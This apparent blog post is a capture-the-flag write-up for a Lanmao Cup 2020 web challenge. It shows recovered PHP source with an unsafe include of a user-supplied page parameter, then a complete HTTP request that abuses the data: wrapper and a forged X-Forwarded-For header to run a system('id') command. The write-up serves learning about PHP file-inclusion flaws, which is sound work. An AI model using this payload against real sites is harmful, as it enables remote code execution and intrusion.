• [蓝帽杯2020]一个利用data伪协议和include,file_get_contents写shell的web题


    蓝帽杯2020的一个web题目,是Insomni’hack 2019原题改的

    首先是.index.php.swp下载源码,vim -r 恢复一下

    <?php
        stream_wrapper_unregister('php');
    
        $seperate = bin2hex(rand(1,1000000));
    
    
        $mkdir = function($dir) {
            system('mkdir -p '.escapeshellarg($dir));
        };
    
        $mkdir('users/'.$seperate);
        chdir('users/'.$seperate);
    
        function getIp(){
            $ip = '';
            if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            }elseif(isset($_SERVER['HTTP_CLIENT_IP'])){
                $ip = $_SERVER['HTTP_CLIENT_IP'];
            }else{
                $ip = $_SERVER['REMOTE_ADDR'];
            }
            $ip_arr = explode(',', $ip);
    		echo $ip_arr;
            return $ip_arr[0];
        }
    
        $curf = getIp();
        $curf = basename(str_replace('.','',$curf));
        $curf = basename(str_replace('-','',$curf));
    
    
        $mkdir($curf);
        chdir($curf);
        file_put_contents('res',print_r($_SERVER,true));
        chdir('..');
        $_GET['page']=str_replace('.','',$_GET['page']);
        if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
            include($_GET['page']);
        }
    
        chdir(__DIR__);
        system('rm -rf users/'.$seperate);
    
    
    ?>
    

    这里就直接给 p3rh4ps 的总结和原题 write up 了,data伪协议在include和file_get_contents的骚操作Phuck2 – Insomni’hack 2019

    这里我用的payload如下,有时间再解释吧

    GET /?page=data:;xx/res&s=<?=system("id");?> HTTP/1.1
    Host: *****************************
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
    X-Forwarded-For: data:;xx
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: UM_distinctid=170fce1d1512c6-0392054e0b14128-12666d4a-144000-170fce1d152245; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1592654089; __jsluid_h=f9c460e655586efbe9387f6edb185b14
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    

    结果如图

  • 相关阅读:
    MySQL 你好,死锁
    Python+Scrapy+Selenium数据采集
    令牌桶限频(Token Bucket)
    Go 逃逸分析
    ElasticSearch 连载二 中文分词
    ElasticSearch 连载一 基础入门
    基于GitLab CI搭建Golang自动构建环境
    Go 性能分析之案例一
    MySQL InnoDB 行记录格式(ROW_FORMAT)
    MySQL InnoDB 逻辑存储结构
  • 原文地址:https://www.cnblogs.com/peri0d/p/13455465.html
Copyright © 2020-2023  润新知